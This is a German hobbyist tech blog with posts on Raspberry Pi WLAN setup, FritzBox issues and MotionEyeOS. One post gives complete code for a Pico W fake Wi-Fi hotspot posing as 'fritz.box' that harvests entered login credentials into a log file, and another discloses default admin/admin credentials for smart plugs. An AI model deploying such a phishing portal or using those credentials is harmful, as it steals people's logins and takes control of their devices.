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Mittwoch, 23. Juli 2025

FRITZ!Box - WLAN-Ausfälle beim AVM Fritzbox-Modell 7590 durch möglichen Serienfehler mit falschen Kondensatoren

Die AVM Fritzbox 7590, welche in den Jahren 2017 bis 2019 hergestellt wurden, sind voraussichtlich mit falschen Kondensatoren (Onboard-Spannungswandler) bestückt. Diese versorgen unter anderem auch die WLAN-Chips, die dann ggf. nicht richtig arbeiten oder ausfallen. Bei der weit verbreiteten Fritzbox 7590 kann so nach einigen Jahren Laufzeit das 2,4-GHz-WLAN ausfallen oder bei installierten FritzOS 7.x in eine Bootschleife springen und somit komplett ausfallen.


Alle Besitzer einer FritzBox 7590 sollten prüfen, ob ihre Box von dem Problem betroffen ist. Leider ist dies auch bei mir der Fall :-(

Falls möglich (SMD-Löttechnik erforderlich), kann man eine Erhöhung der Kapazität (vom Kondensator) vornehmen, sonst droht ein Ausfall.
"Prüft die Seriennummer eurer Box! Wenn diese mit den Buchstaben "J" oder "K" beginnt, oder mit "L" und einer Zahl kleiner als 25 ist diese Box sehr wahrscheinlich betroffen."

 
Weitere Details und Hintergründe finde sich im Blogeintrag zum WLAN-Problem von Thomas Pfister

Mittwoch, 6. November 2024

Raspberry Pi - WLAN Überwachungskamera mit MotionEyeOS (Zero W)

In diesem Beitrag werde ich auf das MotionEyeOS eingehen, welches eine Linux-Distribution für Einplatinencomputer ist und diese in ein Videoüberwachungssystem verwandelt. 


Der Anwendungsfall ist relativ einfach, die Software soll eine Bewegung vor der Kamera erkennen und diese Bilder auf der SD-Karte speichern und ggf. weitere Aktionen (z.B. E-Mail Benachrichtigung) ausführen.

Folgende Hardware wird benötigt:

Wie genau das Kamera Modul angeschlossen wird, habe ich bereits in dem Beitrag "Raspberry Pi - Camera Modul V2.1" beschrieben.

Hinweis: Am Besten als erstes die SD-Karte mit dem MotionEye Betriebssystem beschreiben, dann muss man später den Pi nicht wieder zerlegen.

MotionEyeOs Image Flashen

1. Neueste Version von MotionEyeOS herunterladen (entsprechend dem verwendeten Raspberry Pi-Modell): https://github.com/ccrisan/motioneyeos/releases

2. Micro SD-Karte in einem Computer einlegen und den Raspberry Pi Imager starten und "Use custom" auswählen


3. Jetzt die zuvor heruntergeladene Motioneyeos-Version (.img.xz Datei) auswählen und flashen (SD Card -> Write). Dies dauert ca. 1-2 Minuten.

Damit anschließend die WLAN-Konfiguration und der SSH-Zugriff funktioniert, bitte die nachfolgenden Beiträge beachten:

 

MotionEyeOS starten und einrichten

Wenn alles funktioniert hat, startet der Raspberry Pi jetzt mit dem installierten MotionEyeOS. Eine direkte Verbindung mit einem Monitor ist nicht unbedingt erforderlich beim ersten Start, ist aber hilfreich um die aktuell zugewiesene IP-Adresse auslesen zu können.

Die nachfolgende Konfiguration kann jetzt über das komfortable Webinterface erfolgen. Hierfür einfach die jetzt zugewiesene IP-Adresse in der Adresszeile des Browser eingeben (192.168.1.100) und als "admin" einloggen.

Benutername: admin
Passwort: <leer>

 

Folgende Einstellungen kann ich für den Raspberry Pi Zero W empfehlen:
  • Zeitzone: General -> Time Zone -> Europe Berlin
  • Feste IP-Adresse: Network -> IP Configuration > Manual Static IP
  • FTP Server deaktivieren: Services -> Enable FTP Server off
  • Kamera Name: Video Device -> Camera Name -> <Name> 
  • Video Auflösung: Video Device -> Video Resolution -> 1024×780
  • Bilder Pro Sekunde: Video Device -> Frame Rate -> 8
  • Aufbewahrungsfrist Bilder: Still Images -> Preserve Pictures -> For One Month
  • (Optional) E-Mail Benachrichtigung: Motion Notifications -> Send An Email (ggf. funktioniert hier nur der SMTP-Port 25)


Zugriff auf die Bilder per Windows Explorer (IP-Adresse des Raspberry Pi) im Windows Explorer eingeben. Zum Beispiel: \\192.168.1.100


Freitag, 5. Januar 2024

Raspberry Pi Pico - WLAN und Webserver Bibliothek "phew"

Der Raspberry Pi Pico W kostet nur ca. 10 Euro und ist somit viel günstiger als der normale Raspberry Pi oder Raspberry Pi Zero. Der Pico arbeitet mit einem RP2040 Mikrocontroller (ARM Cortex M0+ mit bis zu 133 MHz Taktfrequenz als CPU, 264 kByte RAM und 2 MByte Flash-Speicher).

In diesem Beitrag werde ich zeigen, wie man einen WLAN-Hotspot einrichtet und per Webserver eine Webseite bzw. eine Hotspot Anmeldewebseite (Captive Portal) ausliefert. Diese kann nun zum Identitätsdiebstahl dienen.


MicroPython installieren

MicroPython steht auf der folgenden Webseite https://micropython.org/download/RPI_PICO_W/ zum Download bereit.

Nach dem Download muss die UF2-Datei auf den Pico geladen werden. Hierfür muss die Boot-Selektor-Taste (BootSEL) gedrückt gehalten werden und der Pico per USB-Kabel mit dem Rechner verbunden werden.
Die Taste BootSEL kann jetzt losgelassen werden, der Pico wird jetzt als Massenspeicher RPI-RP2 erkannt und die Firmwaredatei kann kopiert werden.

Nach dem kopieren der Firmware-Datei, wird diese sofort installiert und es wird ein Reset durchgeführt (der Massenspeicher wird nicht mehr angezeigt).

Die Programmierung kann anschließend mit der Entwicklungsumgebung Thonny erfolgen.

Unter Linux (in meinem Fall das Steam Deck) ist folgendes zu beachten:
(deck@steamdeck Tools)$ ls -l /dev/ttyACM1
crw-rw---- 1 root uucp 166, 1 Jan  2 20:08 /dev/ttyACM1
(deck@steamdeck Tools)$ sudo usermod -a -G uucp deck


Siehe auch https://support.arduino.cc/hc/en-us/articles/360016495679-Fix-port-access-on-Linux.

"phew" Bibliothek (WLAN- und Webserver) installieren

Das aktuelle Release von "phew" unter https://github.com/pimoroni/phew/releases herunterladen und mit Hilfe von Thonny auf den Pico übertragen.


Jetzt lässt sich "phew" wie jede andere Bibliothek einbinden.

Hotspot-Popup (Captive-Portal) programmieren

Wir beginnen mit der main.py . Hier gibt es Abschnitte mit den Kommentaren „#Android Redirects“, „#Apple Redir“ und „#Microsoft Windows Redirects“. In diesen Abschnitten werden die jeweiligen Tests behandelt, die jedes Betriebssystem ausführt um auf ein Captive Portal zu reagieren.

#!/usr/bin/python
# coding=utf-8
# Captive Portal with a Raspberry Pi Pico W
# (c) Sebastian Hemel, www.shemel.de
# Based on picockpit.com/raspberry-pi/raspberry-pi-pico-w-captive-portal-hotspot-access-point-pop-up/
#-----------------------------------------------------------------------------------

from phew import access_point, logging, server, dns
from phew.template import render_template
from os import stat

# This is the address that is shown on the Captive Portal
DOMAIN = "fritz.box" #pico.wireless
# Change this to whatever Wifi SSID you wish
SSID = "Gast-WLAN" #Pico W Captive
HTDOCS = "htdocs"

#How to trigger the pop-up
@server.route("/hotspot-detect.html", methods=["GET"])     # apple redir
@server.route("/generate_204", methods=["GET"])            # android redirects
@server.route("/redirect", methods=["GET"])
def hotspot(request):
    logging.info("redirecting hotspot request " + request.path)
    return server.redirect(f"http://{DOMAIN}/", 302)

@server.route("/ncsi.txt", methods=["GET"])                # microsoft windows redirects
@server.route("/connecttest.txt", methods=["GET"])
def hotspot(request):
    return "", 200

@server.route("/", methods=['GET'])
def index(request):
    logging.info("route/ retrieving index.html")
    logging.info("Got data: " + request.query_string)
    return render_template(HTDOCS + "/index.html")

@server.route("route/data.html", methods=["GET"])
def hotspot(request):
    logging.info("/data.html retrieving index.html")
    logging.info("Got data: " + request.query_string)
    return render_template(HTDOCS + "/index.html")

@server.route("/log.txt", methods=["GET"])
def hotspot(request):
    return render_template("log.txt")

@server.catchall()
def catch_all(request):
    try:
        print("***************CATCHALL***********************\n" + str(request))
        stat(HTDOCS + request.path)
        return render_template(HTDOCS + request.path)
    except OSError:
        return "Not found:" + request.path, 404

# Set to Accesspoint mode
ap = access_point(SSID)
ip = ap.ifconfig()[0]
# Grab the IP address and store it
logging.info(f"starting DNS server on {ip}")
# Catch all (DNS server) requests and reroute them
dns.run_catchall(ip)
# Run the server
server.run()
logging.info("Webserver Started")


Im nächsten Schritt benötigen wir eine index.html , hierbei handelt es sich um eine einfache "Proof-of-Concept-Datei". Diese gibt sich als "Captive Portal" aus und fordert den User auf seine Zugangsdaten einzugeben.

     

<!DOCTYPE html>
<html lang="de">
    <head>
        <meta charset="UTF-8" />
        <meta http-equiv="X-UA-Compatible" content="IE=edge" />
        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
        <title>Pico W Captive Portal</title>
      </head>
      <body>
        <h1>Willkommen beim Captive Portal</h1>
     
        <h2>Login</h2>
           <form id="login-form">
              <p>
            <input type="text" name="username" id="username-field" class="login-form-field" placeholder="Benutzername">
            </p>
              <p>
            <input type="password" name="password" id="password-field" class="login-form-field" placeholder="Passwort">
            </p>
            <input type="submit" value="Absenden" id="login-form-submit" onclick="validate()">
        </form>
       
<script>
    function validate(){
        var username = document.getElementById("username-field").value;
        var password = document.getElementById("password-field").value;
        if (username && password){
            alert ("Login erfolgreich!");
            window.location = "index.html?username="+username+"&password="+password; // Redirecting to other page.
            return false;
        }
        else{
            alert("Bitte geben Sie Ihre Zugangsdaten ein!");
            return false;
        }
    }   
</script>
       
    </body>
</html>

Diese werden durch das Python Script jedoch in eine log.txt gespeichert ;-) .

Hinweis: Bitte beachtet hier den § 202c Vorbereiten des Ausspähens und Abfangens von Daten!

Samstag, 22. Mai 2021

Raspberry Pi - Vorkonfiguration (WLAN, SSH, hostname, locale) vor dem ersten Start mit Raspberry Pi Imager

Wie man einen Raspberry Pi installiert und initial einrichtet, habe ich bereits in den Artiklen Raspberry Pi Stretch Lite - Installation incl. SSH Fernsteuerung, Raspberry Pi Stretch - WLAN vor dem ersten Start konfigurieren und Raspberry Pi - statische IP bzw. initiale IP-Adresse vergeben (cmdline-txt) beschrieben. Ich gehe kurz auf den "Raspberry Pi Imager" ein, welcher dies jetzt direkt unterstützt.

Mittlerweile bietet das offizielle Image-Tool „Raspberry Pi Imager“ die Möglichkeit zu den o.g. Konfigurationen an und schreibt diese direkt auf die SD-Karte, anschließend kann das erste Booten vom Raspi direkt mit den gewünschten Einstellungen erfolgen. So lässt sich mittlerweile sehr viel Zeit bei der Ersteinrichtung sparen!

Update 07.04.2024: Auch beim Steam Deck kann der Imager verwendet werden. Siehe https://flathub.org/apps/org.raspberrypi.rpi-imager.


Das Raspberry Pi Imager Tool beschreibt die SD-Karte mit dem Betriebssystem und so wird beim ersten Start direkt eine Verbindung zum WLAN aufgebaut, SSH ist aktiv und man den Pi direkt per Konsole ansprechen. Desweiteren ist die Tastaturbelegung korrekt hinterlegt und auch das bekannte und unsichere Passwort „raspberry“ ist geändert. 

Download von Version 1.6.1 => https://github.com/raspberrypi/rpi-imager/releases/tag/1.6.1

Zusätzlich zum Betriebssystem „Raspberry Pi OS“ bietet Imager weitere Images an. Zum Beispiel die Lite-Variante (keine grafische Oberfläche) oder auch RetroPie (Retro-Spielekonsolen Emulatoren).

Montag, 25. Januar 2021

Raspberry Pi - statische IP bzw. initiale IP-Adresse vergeben (cmdline-txt)

Betreibt man den Raspberry Pi ohne Tastatur und Monitor, kann man sich per SSH (Raspberry Pi Stretch Lite - Installation incl. SSH Fernsteuerung) von einem anderen Rechner aus einloggen. In der Regel erfolgt per default die Vergabe der IP-Adresse automatisch per DHCP.


Mit der folgenden Methode lässt sich eine feste IP-Adresse direkt per SD-Karte (cmdline-txt) vergeben

In der Datei "cmdline.txt" auf der SD-Karte (vFat-Partition) an der ersten und einzigen Zeile die folgende Syntax hinzufügen:

ip=<Raspi-ip>:<Netboot-ip>:<Gateway-ip>:<Subnetzmaske>:<Hostname>:<Netzwerkkarte>:<Autoconf>

Beispiel:

ip=192.168.1.111::192.168.1.1:255.255.255.0:pihole:eth0:off

Bedeutung der oben genannten Felder:

  • Raspi-ip: IP-Adresse die der Raspberry bekommen soll
  • Netboot-ip: IP eines Netboot-Servers, wird in der Regel nicht benötigt
  • Gateway-ip: IP des Routers
  • Subnetzmaske: Netzmaske, in der Regel 255.255.255.0
  • Hostname: Hostname des Raspberry Pi (im LAN ansprechbar, optional)
  • Netzwerkkarte: das Netzwerk-Gerät für die Zuweisung (z.B. eth0, wlan0)
  • Autoconf: Aktivierung/Deaktivierung der automatische Konfiguration (off)


Alternativ ist (im Nachgang) die folgende Methode (Anpassung der /etc/dhcpcd.conf) weiterhin gültig.

Samstag, 28. Dezember 2019

Aldi Wifi Steckdosen - undokumentiertes Web-Interface aufrufen

In der aktuellen c’t (1/2020) wurde mit Hilfe des "Raspion" nachgewiesen, dass das WLAN Passwort bei der Ersteinrichtung der Aldi Wifi Steckdosen unverschlüsselt (Erkennung anhand der Länge eines WLAN-Paketes) übertragen wird. In diesem Post möchte ich kurz auf das undokumentierte Web-Interface hinweisen.


Die Zugangsdaten zum Web-Interface (Login-Zugang) im Heimnetzwerk (wer hätte es gedacht) lauten:
  • User: admin
  • Passwort: admin
Die eigentliche Steuerung im LAN findet über den UDP Port 8530 statt:
  • <IP-Steckdose>:<UDP Port>
Mit Hilfe des undokumentierten Web-Interfaces kann jeder im gleichen WLAN die Steckdosen beliebig an- und ausschalten.


Alternativ ist auch eine Schaltung per Bash-Shell oder Python möglich. Weitere Infos dazu unter http://www.ludwich.de/ludwich/smart_home_IdOTy.html .

Montag, 14. Januar 2019

Raspberry Pi Stretch - WLAN vor dem ersten Start konfigurieren

Wie man beim Raspberry Pi vor dem ersten Start die SSH Verbindung aktivieren kann, habe ich in dem Artikel vom Juli 2018 (http://sebastianhemel.blogspot.com/2018/07/raspberry-pi-stretch-lite-installation.html) beschrieben.

Ebenso nützlich ist es vorab die WLAN Konfiguration hinzuzufügen, gerade wenn man den zero Pi verwendet (welcher keinen LAN-Port mehr hat).


Hierfür muss eine Datei mit dem Namen "wpa_supplicant.conf" erstellt werden, welche die WLAN-Konfiguration enthält. Sie muss vor dem ersten Start des Raspberry Pi auf der boot-Partition hinterlegt werden und wird dann in das Verzeichnis "/etc/wpa_supplicant" kopiert.


Die Datei muss den folgenden Aufbau haben (siehe auch http://sebastianhemel.blogspot.com/2017/01/raspberry-pi-wlan-konfiguration-inkl.html):

ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev
update_config=1
country=DE

network={
        ssid="SSID-Name"
        psk="WLAN-Schluessel"
}


Hinweis: In der wpa_supplicant Datei dürfen vor und nach den Gleichheitszeichen keine Leerzeichen angeben werden und der Ländercode muss in Großbuchstaben eingetragen werden. Andernfalls wird der WLAN-Controller automatisch deaktiviert

Eine mögliche Fehlersuche bei Problemen kann mit "sudo wpa_cli status" und "journalctl -u dhcpcd" erfolgen.

Sonntag, 4. März 2018

Externe WLAN Antennen bei der Fritz!Box nachrüsten

Die Fritz!Box von AVM verfügrt in der Regel nur über interne Antennen, daher schneiden sie oft bei Tests im Bereich der WLAN Reichweite nicht sonderlich gut ab. Möchte man keinen Repeater einsetzen, lohnt es sich externe Antennen nachzurüsten.

Passende Sets gibt es hier:
FriXtender – Fritz!Box WiFi Erweiterung mit externen WLAN Antennen
Anschließend sollte auch wieder die nachfolgende Optimierung erfolgen:
http://sebastianhemel.blogspot.de/2016/07/wlan-langsam-funkkanal-optimieren.html 

Sonntag, 29. Januar 2017

Raspberry Pi - WLAN Konfiguration inkl. reconnect und statische IP "jessie"

In dem Artikel von 2015 (http://sebastianhemel.blogspot.de/2015/03/raspberry-pi-wlan-reconnect-nach.html) habe ich den WLAN reconnect auf Basis von "wheezy" beschrieben.

Mit der Umstellung auf "jessi" bzw. "stretch" hat sich dies ewtas geändert, daher werde ich hier noch mal eine Beispielhafte Konfiguration auf Basis des aktuellen OS zeigen.

WLAN Konfiguration

Alternativ kann mittlerweile auch die Konfiguration für die SSID und das Passwort über  sudo raspi-config erfolgen.


Um die WLAN Konfiguration inkl. auto reconnect mittels Konsole vornehmen zu können, müssen folgende Schritte durchgeführt werden:
  • Die Datei interfaces muss angepasst werden.
  • sudo vi /etc/network/interfaces
Folgender Inhalt muss hinzugefügt werden:

# Alternative WLAN Konfig
allow-hotplug wlan0
iface wlan0 inet manual
wpa-roam /etc/wpa_supplicant/wpa_supplicant.conf
iface wlan0 inet dhcp


  • Die Datei wpa_supplicant.conf muss angepasst werden.
  • sudo vi /etc/wpa_supplicant/wpa_supplicant.conf
Folgender Inhalt muss hinzugefügt werden:

ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev
update_config=1

network={
       
    ssid="YOUR_SSID"
       
    psk="YOUR_WLAN_KEY"
       
    scan_ssid=1
    id_str="home"

    key_mgmt=WPA-PSK
    proto=RSN

    pairwise=CCMP
    group=CCMP
    priority=5

}


Anschließend muss ein reboot (sudo reboot) erfolgen und der Status der WLAN Verbindung kann mit dem folgenden Befehl überprüft werden:

sudo wpa_cli status

Verwendung einer statischen IP-Adress 

In Raspbian Jessie ist standardmäßig ein DHCP Client Daemon (DHCPCD) aktiv. Möchte man eine statische IP-Adresse verwenden, ist folgendes zu tun:
  • Die Datei dhcpcd.conf muss angepasst werden
  • sudo vi /etc/dhcpcd.conf
Folgender Inhalt muss am Ende der Datei hinzugefügt werden (bitte auf die eigenen Bedürfnisse anpassen):

interface eth0

static ip_address=192.168.1.108/24
static routers=192.168.1.1
static domain_name_servers=192.168.1.1

interface wlan0

static ip_address=192.168.1.130/24
static routers=192.168.1.1
static domain_name_servers=192.168.1.1


Wurden alle Einstellungen vorgenommen, muss ein reboot erfolgen:

sudo reboot

Anschließend kann man überprüfen, ob die vorgenommenen Einstellungen erfolgreich waren:

ifconfig


Samstag, 15. Oktober 2016

WLAN-Profile unter Windows per Konsole löschen

Möchte man bei WLAN-Problemen sein Profil oder evtl. ältere nicht mehr genutzte Profile löschen, geht dies schnell und einfach per cmd-Befehl (Konsole). Aufruf per [Windows] + [R] => Ausführen => cmd .

Mit dem Befehl netsh wlan show profiles kann man sich alle auf dem Rechner befindlichen Profile anzeigen lassen.

 Mit dem Befehl "netsh wlan delete profile name="xxx" kann einzelne WLAN-Profile löschen.
 


Sonntag, 3. Juli 2016

WLAN langsam? Funkkanal optimieren!

Immer häufiger kommt es gerade in Ballungszentren vor, dass viele Router auf dem gleichen Kanal (Channel) senden. Wenn das eigene WLAN sehr langsam ist, kann man durch den richtig eingestellten Kanal deutlich mehr Datendurchsatz erzielen.

Dies geht z.B. mit dem folgenden Tool:
http://www.chip.de/downloads/Acrylic-WiFi-Free_84415105.html
Hinweis: Vorher oben rechts in den Einstellungen den "Advanced Mode" aktivieren, anschließend stehen die "Channel" Reiter zur Verfügung.

Mit der Analyse sollten man an einem Ort beginen, wo das WLAN am schwächsten ist.
Es werden dann grafisch die Kanäle anhand von hohen Kurven angezeigt, welche am häufigsten in der Umgebung von anderen Routern verwendet werden.

Zum Einstellen des am wenigsten verwendten Kanals, muss dann der eigene Router aufgerufen werden. Z.B. für FritzBox: http://fritz.box (oder IP-Adresse) => WLAN => Funkkanal.



Hintergrund zu den WLAN-Kanälen:

2,4 GHz: 
Die meisten Router senden im 2,4 GHz Band. Die Kanäle reichen von 1 bis 13. In jeweils 3 Kanälen überlappen sich die Frequenzen. Wenn sich in Ihrer Nähe ein weiterer Router befindet, wählen Sie einen um 3 Kanälen höheren oder niedrigeren WLAN-Kanal. In Europa gibt es drei Kanäle, die überlappungsfrei sind (Kanal 1, 6 und 11). Verzichten Sie lieber auf die Kanäle 9 und 10, da Mikrowellenherde mit derselben Frequenz betrieben werden.

5 GHz: 

Nicht alle Geräte unterstützen das 5 GHz Band. Während es im 2,4 GHz Band nur 3 überlappungsfreie Kanäle gibt, so sind es im 5 GHz Band 28. Das 5 GHz Band ist weniger anfällig auf Störungen
Quelle: http://praxistipps.chip.de/wlan-einrichten-welchen-kanal-waehlen_34273

Samstag, 7. März 2015

Raspberry Pi - WLAN reconnect nach Verbindungsabbruch

Jeder der einen PI per WLAN im Netzwerk hat, kennst das Problem. Ist mal das WLAN ausgeschaltet und man startet seinen WLAN Router neu, macht der PI keinen automatischen WLAN reconnect.

Bei stackexchange gibt es eine schöne Lösung für das Problem:

Well, there is a very simple solution:
  1. Go to /etc/ifplugd/action.d/ and rename the ifupdown file to ifupdown.original
  2. Then do: cp /etc/wpa_supplicant/ifupdown.sh ./ifupdown
  3. Finally: sudo reboot
That's all. Test this by turning off/on your AP; you should see that your Raspberry Pi properly reconnects.

Update 30.08.2019

Bei den neueren Raspbian Versionen (z.B. Buster) sind die folgenden Befehle ausreichend:

sudo cp /etc/wpa_supplicant/ifupdown.sh /etc/ifplugd/action.d/ifupdown
sudo shutdown -r now bzw. sudo reboot

Samstag, 3. Januar 2015

Raspberry Pi - WLAN per Konsole (putty) einrichten

Mit dem Befehl ifconfig erhält man eine Auflistung aller verfügbaren Netzwerkschnittstellen:


Für die richtigen Netzwerkeinstellungen (statische oder dynamische IP), siehe Datei /etc/network/interfaces => http://sebastianhemel.blogspot.de/2014/08/raspberry-pi-statische-ip-zuweisen.html

Je nach dem welche Verschlüsselung das Netzwerk hat, muss diese noch in der Datei /etc/wpa_supplicant/wpa_supplicant.conf gepflegt werden:

ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev
update_config=1

network={  
    ssid="DEINE_SSID"
    psk="DEIN_KEY"
    scan_ssid=1
    id_str="home"
    key_mgmt=WPA-PSK
    proto=RSN
    pairwise=CCMP
    group=CCMP
    priority=5
}


Nach den erforderlichen Einstellungen sollte die WLAN Schnittstelle deaktiviert werden:

sudo wpa_action wlan0 stop

Danach muss die neue WPA Konfig wieder geladen werden:

sudo ifup wlan0

Nach dem erfolgreichen Starten (es gab keine Fehlermeldung), kann die Verbindung getestet werden:

sudo wpa_cli status



Samstag, 6. September 2014

Raspberry Pi - WLAN WiFi Adapter N


Wenn man Probleme bei seinem WLAN Empfang hat kann es oft vorkommen, dass die verwendeten  2,4 GHz Frequenzen überlastet sind. Daher ist es sinnvoll die 5 GHz Frequenzen zu verwenden.

Der folgende WLAN Adapter funktioniert auch mit dem Raspberry PI:

AVM FRITZ!WLAN USB Stick N

Dieser funktioniert auch ohne aktiven Hub und kann nach der Installation der folgenden Treiber verwendet werden:
sudo apt-get install firmware-linux-free
Zum Überprüfen der Installation, kann man sich mit dem folgenden Befehl alle USB Geräte noch mal anzeigen lassen:
dmesg | grep usb

[   30.510351] usb 1-1.2: USB disconnect, device number 6
[   31.771478] usb 1-1.2: new high-speed USB device number 7 using dwc_otg
[   31.914661] usb 1-1.2: New USB device found, idVendor=057c, idProduct=8401
[   31.914692] usb 1-1.2: New USB device strings: Mfr=16, Product=32, SerialNumber=48
[   31.914708] usb 1-1.2: Product: FRITZ!WLAN USB Stick N
[   31.914723] usb 1-1.2: Manufacturer: AVM Berlin
[   31.914736] usb 1-1.2: SerialNumber: 001C4AFC35E0
[   32.191512] usb 1-1.2: reset high-speed USB device number 7 using dwc_otg
[   32.326578] usb 1-1.2: driver   API: 1.9.7 2012-12-15 [1-1]
[   32.326616] usb 1-1.2: firmware API: 1.9.6 2012-07-07